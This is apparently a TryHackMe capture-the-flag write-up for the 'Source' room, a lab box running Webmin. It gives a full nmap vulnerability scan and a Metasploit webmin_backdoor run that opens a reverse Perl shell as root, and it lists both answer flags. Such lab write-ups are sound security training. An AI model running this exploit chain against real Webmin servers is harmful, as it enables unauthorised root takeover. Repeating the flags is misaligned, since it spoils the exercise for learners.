Source
Exploit a recent vulnerability and hack Webmin, a web-based system configuration tool.
💢 We will cover the topics​
- Network Enumeration
- Metasploit (webmin_backdoor)
Task 1 Embark​
Enumerate and root the box attached to this task. Can you discover the source of the disruption and leverage it to take control?
This virtual machine is also included in the room AttackerKB as part of a guided experience. Additionally, you can download the OVA of Source for offline usage from https://www.darkstar7471.com/resources.html
kali@kali:~/CTFs/tryhackme/Source$ sudo nmap -A -sS -sC -sV --script vuln -O 10.10.71.192
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-14 14:14 CEST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.71.192
Host is up (0.063s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners:
| cpe:/a:openbsd:openssh:7.6p1:
| CVE-2019-6111 5.8 https://vulners.com/cve/CVE-2019-6111
| CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919
| CVE-2018-15473 5.0 https://vulners.com/cve/CVE-2018-15473
| CVE-2019-16905 4.4 https://vulners.com/cve/CVE-2019-16905
| CVE-2019-6110 4.0 https://vulners.com/cve/CVE-2019-6110
| CVE-2019-6109 4.0 https://vulners.com/cve/CVE-2019-6109
|_ CVE-2018-20685 2.6 https://vulners.com/cve/CVE-2018-20685
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-litespeed-sourcecode-download:
| Litespeed Web Server Source Code Disclosure (CVE-2010-2333)
| /index.php source code:
| <h1>Error - Document follows</h1>
|_<p>This web server is running in SSL mode. Try the URL <a href='https://ip-10-10-71-192.eu-west-1.compute.internal:10000/'>https://ip-10-10-71-192.eu-west-1.compute.internal:10000/</a> instead.<br></p>
|_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug)
| http-phpmyadmin-dir-traversal:
| VULNERABLE:
| phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion
| State: UNKNOWN (unable to test)
| IDs: CVE:CVE-2005-3299
| PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
|
| Disclosure date: 2005-10-nil
| Extra information:
| ../../../../../etc/passwd :
| <h1>Error - Document follows</h1>
| <p>This web server is running in SSL mode. Try the URL <a href='https://ip-10-10-71-192.eu-west-1.compute.internal:10000/'>https://ip-10-10-71-192.eu-west-1.compute.internal:10000/</a> instead.<br></p>
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
|_ http://www.exploit-db.com/exploits/1244/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2006-3392:
| VULNERABLE:
| Webmin File Disclosure
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2006-3392
| Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
| This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
| to bypass the removal of "../" directory traversal sequences.
|
| Disclosure date: 2006-06-29
| References:
| http://www.exploit-db.com/exploits/1997/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
|_ http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/14%OT=22%CT=1%CU=44379%PV=Y%DS=2%DC=T%G=Y%TM=5F86EB
OS:E4%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST
OS:11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)EC
OS:N(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp)
HOP RTT ADDRESS
1 35.81 ms 10.8.0.1
2 76.08 ms 10.10.71.192
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.10 seconds
msf5 > search webmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
3 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
4 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
5 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE
Interact with a module by name or index, for example use 5 or use exploit/unix/webapp/webmin_upload_exec
msf5 > use 2
[*] Using configured payload cmd/unix/reverse_perl
msf5 exploit(linux/http/webmin_backdoor) > show options
Module options (exploit/linux/http/webmin_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Webmin
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
msf5 exploit(linux/http/webmin_backdoor) > set LHOST 10.8.106.222
LHOST => 10.8.106.222
msf5 exploit(linux/http/webmin_backdoor) > set RHOSTS 10.10.71.192
RHOSTS => 10.10.71.192
msf5 exploit(linux/http/webmin_backdoor) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf5 exploit(linux/http/webmin_backdoor) > set rport 10000
rport => 10000
msf5 exploit(linux/http/webmin_backdoor) > run
[*] Started reverse TCP handler on 10.8.106.222:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.8.106.222:4444 -> 10.10.71.192:48304) at 2020-10-14 14:17:36 +0200
id
uid=0(root) gid=0(root) groups=0(root)
python -c "import pty;pty.spawn('/bin/bash')"
root@source:/usr/share/webmin/# ls -l /home
ls -l /home
total 4
drwxr-xr-x 5 dark dark 4096 Jun 26 04:46 dark
root@source:/usr/share/webmin/# cat /home/dark/user.txt
cat /home/dark/user.txt
THM{SUPPLY_CHAIN_COMPROMISE}
root@source:/usr/share/webmin/# cat /root/root.txt
cat /root/root.txt
THM{UPDATE_YOUR_INSTALL}
root@source:/usr/share/webmin/#
- user.txt
THM{SUPPLY_CHAIN_COMPROMISE}
- root.txt
THM{UPDATE_YOUR_INSTALL}